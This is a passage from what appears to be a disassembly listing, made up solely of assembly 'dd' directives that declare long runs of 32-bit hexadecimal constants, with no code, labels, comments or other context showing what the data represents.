		dd 1E32C9D3h, 101560D5h, 79F69A94h, 1BB36807h, 0CE70D936h
		dd 0E0FF69h, 6EDA272Bh,	569BA095h, 0B8798500h, 2C69EAAAh
		dd 0D310005Bh, 0F9AE0BC5h, 0A91F33F8h, 2440F3D6h, 0B5CAD201h
		dd 788507FAh, 0D190972Bh, 0F4DC06ADh, 20002315h, 12839B0Bh
		dd 25378h, 5B9333BFh
		dd 0C35C4B0Ah, 9539D200h, 0FE5480C5h, 1DE2004Eh, 0D4A91934h
		dd 0DF005B01h, 9C843B14h, 2CC56EDDh, 560CEBh, 242E568Dh
		dd 3A03D56Ah, 34CAB7DEh, 1F29E080h, 15D70053h, 26F814BBh
		dd 2C006858h, 0DC0E7E8Eh, 19D9E257h, 48D4B06Ah,	26C9302Bh
		dd 890E7272h, 702EAB9h,	2F70DD56h, 72B79h, 963DA6DCh, 0E32ACC74h
		dd 38158C00h, 9E410825h, 37A5005Dh, 77D58A12h, 16003A2Eh
		dd 0C7FCD3AAh, 4F18E3h,	244BB27Eh, 6C44BA86h, 4DAC7700h
		dd 730423AAh, 0CA9B0054h, 11809C32h, 31006F7Ch,	7526697Bh
		dd 140B714h, 0FC83D45Ah, 2059647Dh, 2D139A33h, 35008FD5h
		dd 725680FEh, 5BDB0014h, 0F7BA95C0h, 340076A8h,	4579067Bh
		dd 0F452B1h, 0CEE611BEh, 7E67A51Ch, 468AE0Ch, 3001391Eh
		dd 92311FB0h, 5C00732Ch, 52EFD94h, 0C0B5237Fh, 0F1A55229h
		dd 0F6003CECh, 36D10C53h, 0FC8A8Fh, 4F8CC497h, 73ED7FA1h
		dd 2EBF2912h, 0F6D50400h, 778D26h, 0FDF1256Bh, 8B9152DEh
		dd 8F839501h, 0CEB9AEC2h, 5B7C18A5h, 0CDDEE00h,	0A567F9h
		dd 416BB04Bh, 0F4DFAF25h, 23E54D01h, 505F2FD0h,	1EC5E8ECh
		dd 406A4749h, 91CA7DF6h, 1C18D3F3h, 7780D0A4h, 615B7AEFh
		dd 0C6909080h, 0B14EE053h, 0B2AF48h, 0D316C7C8h, 4002A0h
		dd 208BA17Dh, 6932988Ch, 95A8EE00h, 0EC3AF6C9h,	0C6C1408h
		dd 4F0194E5h, 765FDD91h, 2F95E8F5h, 7878963Ah, 3E00F97Dh
		dd 5873F862h, 0FACF72h,	8A1C92E2h, 69EB5C65h, 0D7A0600h
		dd 15FCC0D0h, 6A6F1284h, 5F0435Dh, 0C7A8F98Ah, 0D0090C9h
		dd 3E374DABh, 309AE01h,	73B3463Fh, 60FF5A4Ch, 70B4B950h
		dd 0C0E45800h, 0EDB6A07Eh, 0B761386Bh, 399A8100h, 227AEC36h
		dd 0CCA1320Ah, 0F0008C2Bh, 6253CB9Ch, 92830E08h, 0AB21C3CFh
		dd 708CDB5Ah, 0C500C922h, 0F849055h, 0ECD29Eh, 0E55929C3h
		dd 0A3CFEB0Ch, 1FD4CC3Bh, 0BBC43E2Eh, 0AC8532DBh, 0E3349B80h
		dd 0ABD0092h, 0C81C4B98h, 56E44419h, 6AC58D00h,	5461D606h
		dd 0C4DB0459h, 80266BF4h, 80C3E214h, 1BAB90Eh, 8DDFA727h
		dd 50A23C50h, 0E5B5140Dh, 5303E483h, 200590EDh,	0BAB1D780h
		dd 0DDC8C500h, 9406FFCBh, 82C300B5h, 0B9E049EFh, 78004F2Ah
		dd 37876C74h, 7E8001BDh, 7F390053h, 0A4252808h,	0ECA02D2Bh
		dd 83055886h, 0A00E211Ah, 0A0C737C3h, 8562CEh, 3C962071h
		dd 5355D3AEh, 0C13A3401h, 0E35CBFE7h, 6512DC32h, 64530280h
		dd 3448556Ah, 0E000D374h, 60D50719h, 0EEC441Bh,	97A92F7Dh
		dd 0C436582h, 5FC6E0FFh, 68121841h, 0BBD8E877h,	0CFA6AF00h
		dd 0ED494030h, 7839B08Dh, 0F65F00C0h, 61DAE60Ah, 85017AD3h
		dd 4C9334FCh, 5DE07992h, 907F16FBh, 983F00CFh, 0BE4B0E63h
		dd 0C08C40CFh, 1201B0EFh, 0CA7AC0h, 1584672Ch, 2E331A0Eh
		dd 6A30B00h, 5E8334C6h,	791C913h, 0B498BC90h, 0E80F49h
		dd 298CE76Bh, 98C0B6B1h, 0A8B92608h, 0C8890155h, 5023DF9Fh
		dd 0CDD460D4h, 0D2458100h, 9214A83Eh, 5B3A0036h, 0F71A91AAh
		dd 0BE002620h, 22ED8D4Eh, 0F0F4DBh, 948A8EF1h, 80CCB1C0h
		dd 0D110CE00h, 5A589FF7h, 0DE4A30C1h, 41A22A0h,	9981E030h
		dd 6068B7h, 0BE42ED21h,	5AE53D6Ah, 5674C003h, 791E08DFh
		dd 4FF468h, 9A9E35AEh, 9C673071h, 8301533Fh, 2DA6B6BAh
		dd 24829FFCh, 0AE98806Bh, 0FC3E9h, 8382FF90h, 0D2738DAAh
		dd 44294100h, 61C7F6B7h, 1AD90032h, 0EB239984h,	4E01E63Eh
		dd 341FDCDh, 0D04374C7h, 5A0F8051h, 587800D9h, 75499625h
		dd 7E7A6221h, 602BE400h, 8B5EE969h, 0C57604h, 9C9D102Dh
		dd 0D95B57C4h, 0AF2EE703h, 90C7E0D1h, 0E4D48ECAh, 4B0C00D6h
		dd 2DF2CF20h, 0D928A943h, 71039F03h, 0B9B40177h, 4EAAC853h
		dd 0FB050099h, 0A5C2B296h, 4802D262h, 4F98B5AFh, 51DEC08Ch
		dd 107F00D5h, 6023BCFDh, 7E742B3Fh, 0D300C17Eh,	39EFC496h
		dd 0EBF4AEBh, 54C58E48h, 0C0F299E5h, 189B1174h,	0DED17000h
		dd 95AEED2h, 0D83F009Eh, 686C63C0h, 700E5C14h, 624E33AEh
		dd 60951122h, 1F09591Ah, 0C0EFD7A6h, 436D4615h,	37001F25h
		dd 0BA050A49h, 71FE9206h, 0D5AC0F90h, 0BEBC9F34h, 0EF6BC900h
		dd 0CACBBF2Bh, 7CF43A00h, 0A061254h, 18B20045h,	2177EE02h
		dd 0D10061AFh, 30A7A241h, 23F3FBh, 0EA5E1EC9h, 7BA1F8F4h
		dd 0B80069B6h, 56584C25h, 7AE9000Ah, 0B9D11A80h, 0AE00B15Bh
		dd 0D03A7BFBh, 565E84h,	727D114Ah, 0ACDE7991h, 0A300987Fh
		dd 19D0F31Bh, 0DBC5A1h,	72CE0943h, 0BBDA8869h, 0C903E81Eh
		dd 3A006D9Eh, 19AC73D7h, 285000Fh, 458331B7h, 0BF00BAADh
		dd 809AEBC1h, 0C267F5BEh, 27E8DA34h, 0F6EAEC60h, 82962902h
		dd 40E4456Eh, 1AFA478h,	797242F9h, 0D8F8EDDCh, 31F33758h
		dd 6744412Dh, 0B1DEF434h, 750CA3FAh, 502DA839h,	6E7203C5h
		dd 451C1685h, 7E960DF0h, 3BA93A13h, 6010840Eh, 44490848h
		dd 0A3121EB9h, 0EC8D1F69h, 0DD280063h, 0CCA79F1Ah, 0BB00D8B0h
		dd 0E40A95BAh, 24AE342Dh, 75CD445h, 707088D5h, 2EB46DA9h
		dd 3CDBB200h, 668755BBh, 5AB008Eh, 7CE376F7h, 24B0C27Fh
		dd 0E6A22A01h, 3D8E3C82h, 5DEB9EF8h, 0F42428D8h, 282CD4h
		dd 1C94672Eh, 6F2E6E30h, 97006710h, 0AAEC7DACh,	0F5871EA6h
		dd 5F59407Ah, 5E2488F8h, 0A4381738h, 0E700E646h, 0B8DF4F5h
		dd 5E85Ch, 0E142129Eh, 405096A4h, 84EAB000h, 37E09713h
		dd 0BF9307E5h, 204F6B88h, 0F7351FD8h, 0E7C79205h, 48C0305Fh
		dd 38038h, 0C6B9C8CCh, 0B7DDB89h, 0C200C47Bh, 730A92C1h
		dd 51EBE3Dh, 84894BBAh,	1DD6011Bh, 0E5867F6Fh, 5AB8501Ch
		dd 6917BD2Bh, 0D000D5B7h, 719B4310h, 36840E6Bh,	514903BEh
		dd 0CC945800h, 6D12CA87h, 1047F50Dh, 9E30389Fh,	5B7D2Ch
		dd 0B4FC84ACh, 0F911CC13h, 0FB5CB013h, 88C73C00h, 17A4D414h
		dd 496BE675h, 0C2596ECh, 20AC90FEh, 28B894BAh, 0A86093Fh
		dd 0E01B488Bh, 20E05C0Eh, 0D694E9F3h, 0B7AC13C0h, 8ED01EE2h
		dd 1FEC0FDCh, 900EA28h,	38F691D7h, 24790D8Bh, 60F026h
		dd 802FCD03h, 3A900A33h, 0ED889F03h, 0D081A3E1h, 0D67E85h
		dd 3439A96Ah, 98BA0EACh, 25550C02h, 0C0A1BE1Bh,	2F3BFA3h
		dd 3F03E79Eh, 0CC806D4Dh, 9A2DED18h, 0DAA488h, 9DE5E89Fh
		dd 0ECE725D2h, 3CC00700h, 0F62ECDA6h, 0BA9900EAh, 0AD64064Ah
		dd 630147AFh, 788B1936h, 24E0557Ah, 86100F6Dh, 0EB04B937h
		dd 770C01D2h, 0B0A724Fh, 0A069FABBh, 876ED028h,	50C60F71h
		dd 7BC26394h, 4C4073BDh, 3301B1F7h, 0A9013D83h,	12D97EFEh
		dd 7F2455CCh, 68AF48FCh, 800A0407h, 77C0108Dh, 5E037FF9h
		dd 2DB06212h, 34D0CDC4h, 73FB99EDh, 410600F2h, 2C8B211Ch
		dd 450076C5h, 7C2307BBh, 0E49579B4h, 0F0867A66h, 0CF961DBDh
		dd 0F2A4C036h, 1A8D41EDh, 0A5893500h, 0A6591EEh, 160B004Fh
		dd 0BEB91592h, 54022A96h, 0C7906E55h, 6692619Bh, 500EC024h
		dd 2EB801h, 44FD1A59h, 28201667h, 0F51EAD07h, 75908D34h
		dd 3BDED797h, 198771AEh, 0C051111Bh, 7E4277C1h,	5828F200h
		dd 3B02C468h, 6EE70275h, 44BE1A56h, 1971088Ch, 0BB794701h
		dd 8B74CD66h, 9A86020h,	0B9BF4BE3h, 80232840h, 0D7110207h
		dd 0C3F21E19h, 1F64707Ch, 1E4EAD77h, 0F1103FEh,	82A3DA08h
		dd 92AF31A0h, 398120A3h, 0AED9802Ch, 0A843E32Fh, 4ACCE9CFh
		dd 7982F9D7h
		dd 0E05A4BDBh, 0B8088E40h, 8B16F501h, 0B980E83Ah, 0DF48A6F8h
		dd 11728350h, 31A0835Eh, 0A430D116h, 9930612Eh,	65AF09CCh
		dd 5380E9A8h, 0BA72F3EAh, 5C43A028h, 371FDCFAh,	0D640AD18h
		dd 0F9AE6EA8h, 42F55876h, 1B516F00h, 6C2D7DD9h,	0E197ED07h
		dd 522757BEh, 5A823E60h, 0CB371D68h, 8CC90042h,	0F6BAD96Fh
		dd 5B569400h, 7AAC9D25h, 3E2C00E8h, 333BC5E9h, 1D00CF91h
		dd 0FF8898Ah, 32E17459h, 15B90C36h, 0C80C04BFh,	81134h
		dd 0D9E2ECFBh, 6C54AAD1h, 0D5FC7300h, 28C5AB0Ah, 0A4D0388Ch
		dd 0FA21058Fh, 0B983048Fh, 16E08F14h, 1B284293h, 0C702C4Dh
		dd 517C3331h, 8008ACB2h, 9F3FDDF3h, 120AEA29h, 551F9C1Eh
		dd 0DB887C00h, 16ED242Bh, 27B071h, 8620D444h, 61CF28ABh
		dd 2260145Dh, 0EEF226BEh, 49193020h, 5C0154DBh,	2B03AE6Bh
		dd 704C7685h, 0E82F4124h, 0A04C0E60h, 5E4006A8h, 44E8DA43h
		dd 103E0ABFh, 0D2970001h, 0D983FBB2h, 2117EDB1h, 582B0F37h
		dd 34005E4Ch, 7D4503FBh, 60542627h, 0ED14A97Eh,	0C882147h
		dd 0F8536C46h, 0FC02A8A9h, 7D44F773h, 19788036h, 33656Dh
		dd 98510289h, 4850A6CEh, 0E4D14D22h, 3E3F0053h,	0FC5265C2h
		dd 51001A05h, 5ED038F2h, 8641Fh, 0CFE156D9h, 24416CA7h
		dd 817538C9h, 0DA355572h, 77A97870h, 18236079h,	0F2C8AFC6h
		dd 4B0C4CF4h, 91325986h, 41A600CBh, 691B21A7h, 0A53CE139h
		dd 80490FC3h, 1004FE97h, 3490D7A8h, 2B04FCh, 79A4CC8Fh
		dd 0B570973Eh, 3CE5A100h, 0A6A57D5Ah, 484000D5h, 2586FDB0h
		dd 0ED90287Ch, 0C46241C0h, 1710A1Bh, 338A543Bh,	78636B6Eh
		dd 67690EE1h, 0D53DA00Ch, 4C88C4DAh, 5680880Fh,	9F5FF6B5h
		dd 0ED25041Ch, 0E8D59140h, 270E152h, 5EF7210Eh,	304847ADh
		dd 7608EA97h, 81DD48E9h, 556C406Dh, 0F0CEE07Dh,	890013FCh
		dd 0B0D0D54Bh, 1A02ABh,	0FE3CB1CFh, 279229C0h, 1D0F073Ch
		dd 0D0807A28h, 0B2C3B98Bh, 239E0C7Bh, 360873B3h, 0E2FF21C0h
		dd 0A9E5BAh, 0DAB1CB7Ch, 90294751h, 0D2EFC300h,	0F64D2EB6h
		dd 8D870406h, 6335EABh,	0C8407654h, 8AC00C70h, 46B2C2B9h
		dd 7452283h, 0D3BAE1C6h, 9FF5208Fh, 0BD07560Fh,	5BB6708Ah
		dd 2A28831h, 303A3106h,	6BB80C8Eh, 481124h, 0AE076881h
		dd 0A73FC3C5h, 0A3083D63h, 65200079h, 0CD1B68C9h, 9D301E73h
		dd 0AF61B04Dh, 2820C704h, 7A083C2Bh, 17ED7C03h,	88D6B4B3h
		dd 0F9E2899Dh, 1D335F60h, 12757BA3h, 31AF18D7h,	0E41EE2C7h
		dd 44C1B29Ch, 4BFFAA7Eh, 219C02D1h, 0C9E440EAh,	0CB7218A7h
		dd 12B27830h, 0A0322F2Bh, 8146D6B0h, 0D100E768h, 0D4A48E18h
		dd 381B7CDh, 797588B8h,	28172572h, 0CEFBCE6h, 0DA1827ACh
		dd 953A40h, 0EFD6D2E7h,	0E454668Dh, 98F67000h, 0A6862F01h
		dd 0DBC700C9h, 0DEA7C530h, 820F1EDFh, 0C1055C2Ah, 0E3CB755h
		dd 12C090E1h, 7C490AEDh, 9441B3h, 4CCDD56Bh, 920080F8h
		dd 0BD42D044h, 3F8DE1F7h, 0AA80E358h, 8FEEE60Ah, 1E00B3CBh
		dd 0CDD7103Ch, 0D93F0Bh, 1A8E723h, 3A224DC7h, 0DCF57001h
		dd 4602DE58h, 45210BFh,	0A530BEACh, 0E73E1017h,	67271CBBh
		dd 0EDEBC015h, 0E3094730h, 0B7DA4503h, 82B521B1h, 1138E33Eh
		dd 11EAAB29h, 7521E4F4h, 2C6F9604h, 0E288F0Ah, 3A70204Ch
		dd 6478C419h, 2173296Dh, 1D121E4Dh, 41DBD510h, 192ED2Dh
		dd 0A6405744h, 6D1FB9h,	0EB594234h, 9F1DC7ACh, 0ABEC6000h
		dd 0FAE14EBAh, 8E0701DFh, 5D74C1F0h, 0D69FE84Fh, 1A5B8900h
		dd 9A6E4D63h, 0C2670068h, 58C7F9DCh, 0A000598Ch, 4854891h
		dd 1E1BEA8h, 0E8228F3h,	0DF22686Ch, 44A97A98h, 0CE3A5F00h
		dd 265BD611h, 0C9020327h, 0D52EFCECh, 0D06DF2B0h, 3DF9D201h
		dd 0D659B014h, 275ACCh,	33DC053Eh, 0AC41C5A5h, 1B01307Dh
		dd 0A85B3271h, 45708674h, 779F3C5Ah, 0FFF8817h,	0BBC1E47Bh
		dd 249953F4h, 7E00FB10h, 0C86DFEA2h, 16DEE526h,	186CEF9h
		dd 0DB219F78h, 7167C0F3h, 7B00A77Fh, 12F18422h,	1E5C5880h
		dd 4042FAA4h, 851594CDh, 3401A330h, 17E14D5h, 0E2F89071h
		dd 129590FDh, 4022583Eh, 53674720h, 623F4D6Eh, 7A4F83D3h
		dd 0D80C29D6h, 3F9E11C9h, 4985D14h, 0CF581A1Fh,	0A8006DE4h
		dd 0E091D790h, 0F93DBA4h, 0F460C72Ah, 405EBAEEh, 0FF20A9C5h
		dd 78003898h, 33F28216h, 15C5F73h, 23800819h, 0F081E6F6h
		dd 5A3A2CE3h, 472F80BFh, 0A613C7C1h, 0EB3A01D0h, 7659F663h
		dd 0AE38EC69h, 68A5ED00h, 47C1FCEFh, 0CB65005Bh, 0DFE9A004h
		dd 1200FA82h, 0E0F1AA7Ch, 50BEA93Eh, 0C2A842h, 33EC645Fh
		dd 95C5DC43h, 0A2161201h, 35F27444h, 102193E1h,	8446F8h
		dd 0D81FE8D4h, 2713E6E3h, 0B0329024h, 0FE575F00h, 7BE7B260h
		dd 555E022Eh, 0F04816FCh, 0A3E81363h, 0A006C12h, 8ABB0BC1h
		dd 0F4728D7Eh, 841F5B3h, 55EC107Ch, 0BF9200F2h,	60FCE4CDh
		dd 9172FBh, 4A478B00h, 0E62B0B08h, 94EC0062h, 86EFB663h
		dd 0E3000A23h, 3A1574B2h, 7172D1h, 0F39C1C18h, 3ED95053h
		dd 86876A00h, 3C3334F8h, 192C1D48h, 12DC45D3h, 2FC096Fh
		dd 0AB998C18h, 6C9E3709h, 0C32807E5h, 30881590h, 3156005Fh
		dd 0FC02FBDCh, 340020F7h, 0E64AD103h, 7D906582h, 7543F075h
		dd 2DF00F9Fh, 0AAE0637Fh, 13314819h, 7673D004h,	802F3Eh
		dd 0E8AEB0Fh, 418C4997h, 2D03B100h, 8380C71h, 73F389DCh
		dd 9300D536h, 0C3C79F57h, 391DA500h, 7022DDDAh,	7C7A797Eh
		dd 0AB470967h, 2000735Ah, 0A2CAC756h, 0CB488CE4h, 0EADC0080h
		dd 2FE07764h, 609003F4h, 0E1F30637h, 556292F0h,	2566B01Ch
		dd 2E826F81h, 20866Ch, 0CE170179h, 22CB241Ch, 4067E19Ah
		dd 0F0B27098h, 83D6E507h, 0A49012C1h, 288BCEh, 7CD4DB81h
		dd 8E89CD1Eh, 9C6A5024h, 7F06F128h, 0CAAF4320h,	0EA790011h
		dd 54F3F840h, 0A50026F2h, 7E6370A8h, 6EFB89h, 4D4B5F1h
		dd 4069D1E1h, 6FA2D200h, 98436CD3h, 0EC203D8Bh,	5052DF80h
		dd 0F74C480Dh, 460CAD0Ah, 0EA80E880h, 0A42C1BB3h, 14F4EBBAh
		dd 0EEA1005Bh, 2B610AD6h, 8500ACC2h, 9B527173h,	0E1C5A2h
		dd 0A8491595h, 36CC7893h, 0B53E8528h, 7375BF00h, 413FA742h
		dd 7627099Ah, 501E951h,	0E0DA19B2h, 0A30479D1h,	0B4FB9672h
		dd 0BAE6CB81h, 0A5A630h, 7648C113h, 4B1D7430h, 0E5E6101h
		dd 0F43B710Fh, 168660h,	7EB7BC11h, 1850D11Fh, 0B809A700h
		dd 0DD2FCD31h, 4D8002Ch, 0EC40A1C9h, 0AC0069DEh, 8D2D0FC4h
		dd 0FB7B217h, 36FFBCF3h, 5774720h, 3B0012E2h, 4F73B4E0h
		dd 1C53C65h, 250BAF7Ch,	0F8F901A1h, 1B30D05Ah, 0C3CD7820h
		dd 0FD37008Bh, 0EC81AF21h, 3C0E9179h, 1029A0h, 0DFDD7C0Eh
		dd 31A50E2Bh, 7B00118Ah, 4D2301CCh, 371B58h, 0AB52135Fh
		dd 5BB17Eh, 0F64A9464h,	0EA48800Ah, 0F2A89600h,	0FC290E8Fh
		dd 780F003Eh, 0B094048Ah, 7503C5EBh, 48FD03D0h,	91AA8008h
		dd 80E000F4h, 0EF28C37Ch, 9D269FBCh, 0B200403Fh, 0B061D6D8h
		dd 99612BEh, 9D813B9h, 84006FC8h, 0DAA4EA22h, 0D780F301h
		dd 0FCC47417h, 48902D0h, 0B3E4BE0Bh, 2E18C0C6h,	0F501613Dh
		dd 0BB259D4Ch, 1460175Bh, 73AA721Ch, 0D18A1E4Eh, 0B60BC3E9h
		dd 800008F6h, 0E07FD7DFh, 1AE642Eh, 7DD5E26Fh, 706EFC96h
		dd 2300DCA1h, 4186EC93h, 5043B8Bh, 75F20DFFh, 0FC084F33h
		dd 4BD5C1DEh, 30CF3F0Fh
		dd 7A00E080h, 12A281F2h, 5D38711h, 0C60E4C96h, 0C5788032h
		dd 63001485h, 83655FFDh, 5B308AFh, 2C76D646h, 0E84009Fh
		dd 231E5292h, 3F73670Bh, 0D7A00C4h, 0E91096Dh, 4C0759F3h
		dd 1E70C642h, 7D933848h, 0E83FF0A9h, 6200D95Bh,	5A5DEF90h
		dd 0E7F6FEh, 5BAF276h, 198A1F4Ah, 0B17B5803h, 88E52B3Bh
		dd 0FABC55A2h, 15020099h, 51CB2584h, 911F950Ah,	7700F660h
		dd 803CBBCAh, 0F9B20704h, 8085C3D8h, 0E505B50Bh, 46846A1Dh
		dd 6D00A517h, 3575AF56h, 98906004h, 0C0029382h,	0A56E2E02h
		dd 0C06C7DE6h, 7CD4447Ch, 2010C19Bh, 0F7E2FFB3h, 0E8C0DEF3h
		dd 0B40FBD07h, 80735774h, 0AA66172Ah, 0DA220082h, 0E0A43BA3h
		dd 0A101B556h, 0C9CA6730h, 948E1C38h, 0D656F02h, 0A7F80B09h
		dd 89F83900h, 0D949E60Fh, 0C1AE14C0h, 63DA0084h, 0E224BAA2h
		dd 23FB24F9h, 0CA960011h, 0E3C2B21Ah, 55E93C17h, 8D257202h
		dd 0D04A417Ah, 0E288F840h, 0F7613AF3h, 0DD462C02h, 6C407B3Ch
		dd 490EEA8Fh, 0FE56279Dh, 15CE1B00h, 98417F32h,	58E94C52h
		dd 0AC548B03h, 0A01D48F1h, 0E6C0F4CFh, 6D456F9h, 0C0D359D7h
		dd 93844903h, 1B0340Fh,	5A097D1Eh, 672ECDh, 72A89A0Eh
		dd 272D0B6Ah, 0E8870611h, 738E00ACh, 7B3F919Dh,	0B1B40038h
		dd 59834CBEh, 17F63087h, 55ACF5A8h, 1A003C90h, 92149D78h
		dd 3D72E9h, 8D8A595Dh, 3A497ADAh, 1D15EE01h, 0B0E4AA8h
		dd 0FEFC75CCh, 7CA33D8Eh, 0E7554480h, 0C23A57DCh, 4B395898h
		dd 2DA80C6h, 36D62446h,	0CA55C3Eh, 892AEA0Bh, 80C7EA04h
		dd 0E360E4ECh, 6C72E200h, 0CDDD0614h, 43F74C9Eh, 8DAA614h
		dd 0A46E8500h, 76FB0C93h, 3C6058h, 7FD3B794h, 3F104E53h
		dd 369C7E34h, 0E07A58ACh, 9200F91Eh, 87503B9Dh,	70EFCE2h
		dd 0FB617258h, 1F2B20E5h, 9800BB26h, 2C74E0DBh,	0D97967h
		dd 35588555h, 3472F557h, 7EFE4600h, 4202EFEBh, 2C5A7981h
		dd 84E02732h, 0F88CD1h,	10E848BEh, 81F00A9h, 0B2AEBB54h
		dd 3D1F4FD7h, 0D580899Eh, 34490F33h, 15AF0018h,	2A838D54h
		dd 6E74FF19h, 0E616D300h, 93E87A0Dh, 1FBE00D5h,	1E5AEA0Ah
		dd 9F004647h, 4C635B2Bh, 0B7A87Eh, 20ED7A96h, 44681117h
		dd 3D3F4B12h, 0F61F7C00h, 0AE59Bh, 430D1B98h, 13678060h
		dd 8700FCF8h, 0CB302538h, 9281ADh, 1D8B06D5h, 61A87A20h
		dd 4D99E900h, 217E1889h, 0A49100E8h, 35CAFBBEh,	1004292h
		dd 0BDCE5E37h, 1E31307Bh, 0D8848DFDh, 7C2128EBh, 2BC9201Dh
		dd 38F4C240h, 2BC1273h,	0B167C31Ah, 0DC60141Eh,	7B00DDD2h
		dd 7885D842h, 1D241FA8h, 0C081F0ACh, 3117234h, 15017728h
		dd 8EBE3E8Dh, 1D30107Ch, 8538969Ah, 0A8F75Eh, 60E1AD81h
		dd 0B4B8D307h, 949B4700h, 0BCDFF3DBh, 167000EEh, 0B9B56C5Eh
		dd 0A1FBF57h, 5180FCEDh, 0E8C45322h, 75973C20h,	0FDA3EC80h
		dd 0B1067026h, 5667D500h, 30A877FBh, 78F50060h,	0F4B6071Dh
		dd 609C6879h, 50E86900h, 741821h, 0FF4CAACBh, 56BC8A6h
		dd 0D38D458h, 90CC3D3Bh, 2C1DB5E8h, 0A788203h, 3AE715A4h
		dd 132F007h, 4220CCDEh,	0F449BC00h, 3DD63305h, 0E80F0397h
		dd 8F329896h, 3B1ED5B0h, 88ACA600h, 12B31DFBh, 4CFD0087h
		dd 73B90A9Bh, 2F019853h, 0B4092DE9h, 2C3C76h, 1F2323EFh
		dd 229080B8h, 0FE582C5h, 53829E1h, 9C92F3A5h, 986AF4CCh
		dd 8C00078h, 0B005A6B2h, 67E8BCE5h, 8ADB3A00h, 0A2BEA9E0h
		dd 0EE0912DCh, 2D18C812h, 0F496F800h, 6777038Ah, 90600510h
		dd 80F55E73h, 0D6632978h, 0D9D8100h, 7F383F74h,	933E0095h
		dd 0F3704DA3h, 0CA002854h, 5B06A5A7h, 78CDE82h,	656EE271h
		dd 0FEF69087h, 0F0A14509h, 5A0BF4FDh, 0E8528C00h, 482CAC39h
		dd 0FC100A7h, 28F69437h, 0A31DAD7Ah, 15C0C66Dh,	71A04262h
		dd 883500Dh, 3700132h, 0FA8AA747h, 0B61C3084h, 4659B27h
		dd 0A41854h, 0AA86275Bh, 403D9800h, 6E79D773h, 8FB66F3Fh
		dd 0C0D2C25Eh, 8B3F2F6Dh, 0B9250FE7h, 9FC006C9h, 0C6F39C96h
		dd 0D7EAF70Fh, 300036DDh, 3F623625h, 0D3B1003Eh, 0A88AE3Ch
		dd 2E3B48C8h, 0BEC08971h, 0E1A8C081h, 0A1C0A016h, 6412004Bh
		dd 0D104EF21h, 0C800105Ah, 6CF44FA0h, 7D4B5FEDh, 0E4DC1CC1h
		dd 93A2C04Dh, 0C9C2E115h, 8F665C00h, 0ED84B592h, 0F601E28h
		dd 0EA4A40Eh, 7060F898h, 0F4BA42C5h, 47407173h,	0F8988E41h
		dd 87A2D33Dh, 51673FD2h, 645F1240h, 0B8592CB6h,	0A3CC94B8h
		dd 2F96C17h, 0B1A685BCh, 0B0808962h, 0A4EAEEB9h, 99343B00h
		dd 10897903h, 0B0E52462h, 15F580C8h, 71C9E8Fh, 0AE86423Dh
		dd 0B500F80Eh, 346EEC79h, 0FBEE00C6h, 807E658Dh, 0CA787FB1h
		dd 5A156600h, 20530CADh, 14EA7B02h, 0C0AE076Eh,	1D67DA00h
		dd 7E392BFCh, 0C6A080F2h, 65003C34h, 0E7DF4CA0h, 0FC597Ah
		dd 3BDBAD85h, 7120D417h, 0F22FDE09h, 9C0481A5h,	98603637h
		dd 0F070F19Eh, 3ED0006Fh, 3938E381h, 24392160h,	1D9F8A16h
		dd 4C00E06Eh, 0FA5A5CAEh, 0E051C26h, 605B0052h,	104F24FCh
		dd 891AA800h, 5E4CE28Fh, 0C5620125h, 3EEC7320h,	7D084053h
		dd 0C0B73CF6h, 0B067EE1Ch, 4BDC76B8h, 4F4017Bh,	0DE7152C3h
		dd 230D20E0h, 34DE8F07h, 0C1943069h, 9176CCC1h,	0A987B03Ch
		dd 1A3C52B0h, 2703F078h, 0E5797B32h, 0B070B32Ch, 0BB52BFh
		dd 88F2CF65h, 0AA4CF9D2h, 34E9400h, 0F1EB497Ch,	6A7E019Ch
		dd 0CBFF178Eh, 3851713Ch, 40A42108h, 6C5AD81h, 0C102BF7Ch
		dd 73B69C45h, 8F0C40C9h, 0AE090068h, 0B54333BBh, 0EF750674h
		dd 0E8C01907h, 4D20A66Ah, 0A0C99035h, 0FB1BE8h,	3AD67CCFh
		dd 5614A5A3h, 0A6E6F1E2h, 4A658E00h, 0BB9D6E15h, 0B4DB0737h
		dd 0E0679612h, 6DFA7B8Ch, 686C803h, 0F0F398ABh,	2A4997h
		dd 3AC0505Bh, 0BED6669Eh, 0DACA7C0Fh, 0FA6CC001h, 5C4536h
		dd 8D6B0BF0h, 8B567EDCh, 54BAEB09h, 9C6B616Eh, 48E6E7D9h
		dd 5B11DCh, 0EB2D5729h,	5DFD8E79h, 9BA05F01h, 0FFECAB98h
		dd 454BF0DFh, 80E09Dh, 3B378BB2h, 5BCD333Ah, 0AF841A0Fh
		dd 5AE1A0DEh, 0CBC454h,	8BF9DC8Ah, 0AE8C0A72h, 0CA00307Ch
		dd 4BD8D73Dh, 0B87FA79h, 94A75CBDh, 0D500546Ch,	462CF0A3h
		dd 4FEE43Fh, 186216F6h,	0EFDCC065h, 0BEEADE7Eh,	779160C0h
		dd 33E3EAh, 18294AA6h, 769CE55Bh, 1FC89500h, 60719273h
		dd 86C63EEAh, 0B010D1A5h, 7026E26Bh, 101C33DDh,	0A263F303h
		dd 7C80F4E7h, 277E01h, 0C34ED1E6h, 547C382Fh, 0E84C2B00h
		dd 0CAAA9A84h, 92CD010Ch, 0A40F6D4Fh, 544B3082h, 0AD161D72h
		dd 0DD001420h, 99AF358h, 92325C2Dh, 244D3C50h, 657154h
		dd 77CA1C70h, 66009747h, 8161F739h, 0EF855EFEh,	41027478h
		dd 0A0F4AE7Bh, 0E303D840h, 0F05E7500h, 2D2A5C59h, 0C6AC00B4h
		dd 52B26670h, 1E0078FBh, 93CFD795h, 9D6CF8A1h, 0D90084D0h
		dd 5E17BF91h, 1CF54ECBh, 637D35h, 0B4CC9A1h, 4500EF2Bh
		dd 0D5C7BAEAh, 18CCB210h, 893F85C6h, 0B0F8C4BFh, 768C471Eh
		dd 3D7D2600h, 59C0781h,	0ACBAE55Dh, 0C67C91D4h,	8B1C40BDh
		dd 93076E3h, 983D0883h,	0B518C752h, 0C212C0DBh,	0A90194ABh
		dd 0F7F6F508h, 5DFDC185h, 7573E8h, 0A6DB7FA0h, 0C48C3F9Fh
		dd 4B735E74h, 47B28303h, 0E23798D9h, 97710CC6h,	0B2F558C0h
		dd 0DF21DACFh, 73C50F90h, 26225980h, 4A745C94h,	0C15E4902h
		dd 84D518BAh, 8330615Ch
		dd 63000975h, 30EDDF8Fh, 0A52993h, 5D6599E0h, 1C74F7EBh
		dd 45DA4703h, 0B0CF305Bh, 78B9E6h, 0E1220986h, 81E92834h
		dd 57088F00h, 0A22E0C32h, 6B5F01A3h, 85BD9B0Eh,	0A4A0033h
